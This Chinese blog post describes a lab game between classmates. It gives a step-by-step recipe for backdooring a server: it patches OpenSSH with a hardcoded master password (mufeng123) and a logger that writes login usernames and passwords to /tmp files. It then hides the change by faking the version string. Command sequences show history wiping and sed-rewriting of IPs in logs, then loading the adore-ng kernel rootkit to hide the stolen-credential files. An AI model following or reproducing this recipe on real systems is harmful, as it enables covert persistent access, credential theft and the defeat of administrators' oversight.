网站首页的布局设计,许昌专业做网站公司,科技网站 网站建设,软文推广模板前言
大家好#xff0c;我是沐风晓月#xff0c;我们开始组队学习了#xff0c;介绍下我们的情况#xff1a;
这几天跟队员 迎月#xff0c;虹月#xff0c;心月#xff0c;古月打擂台#xff0c;我和心月一组#xff0c;相互攻占对方服务器。 终于在今早凌晨三点拿…前言
大家好我是沐风晓月我们开始组队学习了介绍下我们的情况
这几天跟队员 迎月虹月心月古月打擂台我和心月一组相互攻占对方服务器。 终于在今早凌晨三点拿下对方服务器的权限。
接下来我们第一想做的就是如何维持这个权限还要不被对方发现。
关于维持权限我们第一时间想到的就是在对方服务器留下一个后门搜索了很多资料发现这个openssh的后门正合我意。
于是开干。。。 文章目录前言一. 配置实验环境二. 对openssh-5.9p1 打后门漏洞补丁2.1 解压2.2 打补丁2.3 修改后门密码和记录位置2.4 安装打了后门补丁的sshd服务2.5 启动并查看版本号三. 测试3.1 测试能否记录用户名和密码3.2 修改了密码还能否记录3.3 .能否记录普通用户密码3.4 测试 后门密码是否可以登录3.5 清理本次登录的脚印四. 安装adore-ng4.1 安装的过程4.2 隐藏文件4.3 测试文件是否还能被找到总结一. 配置实验环境
为了确保修改对方openssh后还能不被古月她们发现我们先检查了对方服务器的ssh版本和gcc版本
检查ssh 版本
[rootmufeng ~]# ssh -v
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
检查gcc是否已经安装 [rootmufeng ~]# yum install gcc gcc-c -y然后开始上环我们需要的包安装完成后再把包全部删掉即可
上传我们需要的包
上传0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz inotify-tools-3.13.tar.gz 到linux 的/software目录
[rootmufeng ~]# mkdir /software
[rootmufeng ~]# cd !$
cd /software
[rootmufeng software]# yum install lr* -y /dev/null echo ok
ok[rootmufeng software]# rz ## 上传软件包
[rootmufeng software]# ls
0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz
inotify-tools-3.13.tar.gz sshpass-1.06.tar.gz上传完成包之后开始对打补丁并进行安装
二. 对openssh-5.9p1 打后门漏洞补丁
2.1 解压
[rootmufeng software]# tar xf openssh-5.9p1.tar.gz
You have mail in /var/spool/mail/root
[rootmufeng software]# tar xf 0x06-openssh-5.9p1.patch.tar.gz
[rootmufeng software]# ls
0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1 openssh-5.9p1.tar.gz
inotify-tools-3.13.tar.gz openssh-5.9p1.patch sshpass-1.06.tar.gz
[rootmufeng software]#
2.2 打补丁
[rootmufeng software]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
[rootmufeng software]# cd !$
cd openssh-5.9p1/
[rootmufeng openssh-5.9p1]# patch sshbd5.9p1.diff
patching file auth.c # 认证
patching file auth-pam.c # 认证
patching file auth-passwd.c # 认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c # 关于ssh 服务器
patching file sshconnect2.c ## ssh 连接
patching file sshlogin.c ## 关于登录记录root密码
patching file version.h ## 关于版本2.3 修改后门密码和记录位置
[rootmufeng openssh-5.9p1]# tail -6 includes.h
int secret_ok;
FILE *f;
#define ILOG /tmp/ilog ## 记录登录到本机的用户名和密码
#define OLOG /tmp/olog # 记录本机登录其他服务器用户名和密码
#define SECRETPW mufeng123 # 后门密码
#endif /* INCLUDES_H */
[rootmufeng openssh-5.9p1]#
修改版本号修改的和原来一致
[rootmufeng openssh-5.9p1]# cat version.h
/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */#define SSH_VERSION OpenSSH_5.3#define SSH_PORTABLE p1
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE
[rootmufeng openssh-5.9p1]# 2.4 安装打了后门补丁的sshd服务
[rootmufeng openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel /root/instal.txt echo ok
开始编译安装
[rootmufeng openssh-5.9p1]# ./configure --prefix/usr --sysconfdir/etc/ssh --with-pam --with-kerberos5[rootmufeng openssh-5.9p1]# make make install
2.5 启动并查看版本号
[rootmufeng openssh-5.9p1]# service sshd restart
停止 sshd [确定]
正在启动 sshd [确定]
[rootmufeng openssh-5.9p1]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013这里一定要设置的与ssh原来的版本号一致要不然就暴露了。
三. 测试
测试主要基于以下几点
测试是否可以记录对方登录服务器的账号和密码测试在用户修改密码后还能继续记录账号和密码测试是否可以记录普通用户的密码测试是否可以使用后门漏洞密码登录系统
3.1 测试能否记录用户名和密码
rootmufeng tmp]# ssh 192.168.1.43
The authenticity of host 192.168.1.43 (192.168.1.43) cant be established.
ECDSA key fingerprint is bf:a1:c7:0d:6c:4b:e4:19:f5:b8:16:e3:f8:4a:e5:5c.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 192.168.1.43 (ECDSA) to the list of known hosts.
root192.168.1.43s password:
Last login: Fri Mar 17 14:40:10 2023 from 192.168.1.4
[rootmufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[rootmufeng tmp]# ls
ilog olog
##查看是否可以记录密码
[rootmufeng tmp]# cat ilog
user:password -- root:12345678
## 包含用户名密码IP
[rootmufeng tmp]# cat olog
user:passwordhost -- root:12345678192.168.1.43
[rootmufeng tmp]#
以上证明了可以记录对方的账号和密码
3.2 修改了密码还能否记录
测试过程代码
[rootmufeng tmp]# echo 1234567890 |passwd --stdin root
更改用户 root 的密码 。
passwd 所有的身份验证令牌已经成功更新。
[rootmufeng tmp]# ssh 192.168.1.43
root192.168.1.43s password:
Last login: Fri Mar 17 15:03:29 2023 from 192.168.1.43
[rootmufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[rootmufeng tmp]# cat olog
user:passwordhost -- root:12345678192.168.1.43
user:passwordhost -- root:1234567890192.168.1.43
[rootmufeng tmp]# cat ilog
user:password -- root:12345678
user:password -- root:1234567890
[rootmufeng tmp]#
以上证明了即使对方修改了密码也一样可以记录。
3.3 .能否记录普通用户密码
[rootmufeng tmp]# useradd mufeng
[rootmufeng tmp]# echo 123456 |passwd --stdin mufeng
更改用户 mufeng 的密码 。
passwd 所有的身份验证令牌已经成功更新。
[rootmufeng tmp]# ssh mufeng192.168.1.43
mufeng192.168.1.43s password:
[mufengmufeng ~]$ whoami
mufeng
[mufengmufeng ~]$ exit
logout
Connection to 192.168.1.43 closed.
[rootmufeng tmp]# cat ilog
user:password -- root:12345678
user:password -- root:1234567890
user:password -- mufeng:123456
[rootmufeng tmp]# cat olog
user:passwordhost -- root:12345678192.168.1.43
user:passwordhost -- root:1234567890192.168.1.43
user:passwordhost -- mufeng:123456192.168.1.43
[rootmufeng tmp]#
以上代码成功的记录了对方使用普通用户登录时的用户名和密码
3.4 测试 后门密码是否可以登录
[rootmufeng tmp]# cat olog
user:passwordhost -- root:12345678192.168.1.43
user:passwordhost -- root:1234567890192.168.1.43
user:passwordhost -- mufeng:123456192.168.1.43
[rootmufeng tmp]# ssh root192.168.1.43
root192.168.1.43s password:
Last login: Fri Mar 17 15:05:42 2023 from 192.168.1.43
[rootmufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[rootmufeng tmp]# cat olog
user:passwordhost -- root:12345678192.168.1.43
user:passwordhost -- root:1234567890192.168.1.43
user:passwordhost -- mufeng:123456192.168.1.43
user:passwordhost -- root:mufeng123192.168.1.43
[rootmufeng tmp]# 3.5 清理本次登录的脚印
一定要清除掉自己登录的IP信息
[rootmufeng ~]# export HISTFILE/dev/null
You have mail in /var/spool/mail/root
[rootmufeng ~]# export HISTSIZE
[rootmufeng ~]# export HISTFILESIZE
[rootmufeng ~]# echo /root/.bash_history
# 这种清除方式要确保一开始没有历史记录如果有历史记录可以用sed的方式替换
[rootmufeng ~]# sed -i s/192.168.1.43/127.0.0.1/g /root/.bash_history
## 其他访问日志也可以用用sed替换ip , 瞒天过海
接下来要把生成的文件进行隐藏本次隐藏我们沐风晓月组采用的是adore-ng, 这个工具是以模块的方式运行的就类似于你电脑上的声卡只要隐藏的好很难被发现。
这里我只写对两个文件/tmp/olog和/tmp/ilog进行隐藏其他的文件和目录也是同样的方法。
四. 安装adore-ng
4.1 安装的过程
安装依赖包
[rootmufeng ~]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm
warning: /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY
Preparing... ########################################### [100%]1:kernel-devel ########################################### [100%]上传需要adore-ng
[rootmufeng ~]# rz解压
[rootmufeng ~]# unzip adore-ng-master.zip [rootmufeng ~]# cd adore-ng-master
[rootmufeng adore-ng-master]# ls
adore-ng.c ava.c libinvisible.h Makefile
adore-ng.h libinvisible.c LICENSE README.md开始安装
安装
[rootmufeng adore-ng-master]# make
加载模块
[rootmufeng adore-ng-master]# insmod adore-ng.ko
[rootmufeng adore-ng-master]# 查看命令是否安装 [rootmufeng adore-ng-master]# ./ava hUsage: ./ava {h,u,r,R,i,v,U} [file or PID]I print info (secret UID etc)h hide file # 隐藏文件u unhide file ## 不隐藏r execute as root ## 像root一样去运行R remove PID foreverU uninstall adorei make PID invisible ## 隐藏进程v make PID visible4.2 隐藏文件
需要隐藏 ilog olog
[rootmufeng adore-ng-master]# ./ava h /tmp/ilog
56,0,0,56
Adore 1.56 installed. Good luck.
File /tmp/ilog is now hidden.
[rootmufeng adore-ng-master]# [rootmufeng adore-ng-master]# ./ava h /tmp/olog
56,0,0,56
Adore 1.56 installed. Good luck.
File /tmp/olog is now hidden.
查看是否隐藏成功 4.3 测试文件是否还能被找到
使用find查找
[rootmufeng tmp]# find ./ -mtime -1
./
./orbit-root
./orbit-root/linc-f46-0-4088aa9a676df
./gconfd-root
./gconfd-root/saved_state_db283d80792451243e0a59a40000002b
发现无法找到文件了
但当我们直接使用文件名查看内容的时候还是可以查看的说明文件并不是被删除了而是被隐藏了 总结
虹月组目前还未发现他们的服务已经被植入后门漏洞今天心月提到可以再加上一个功能邮件发送功能实现当虹月组登录服务器就能收到信息。
听起来是个好主意下次补上。
好了以上是本文的全部内容下次再见吧。 好啦这就是今天要分享给大家的全部内容了我们下期再见 本文由沐风晓月原创首发于CSDN博客 博客主页mufeng.blog.csdn.net 每一次学习都很枯燥单调孤独甚至看不到未来每一次遇到问题都让人疑惑焦虑怀疑甚至想要放弃。 但坚定的走下来会收获很多。收获的不单单是技术的成长还有一颗强大的心。 喜欢的话记得点赞收藏哦
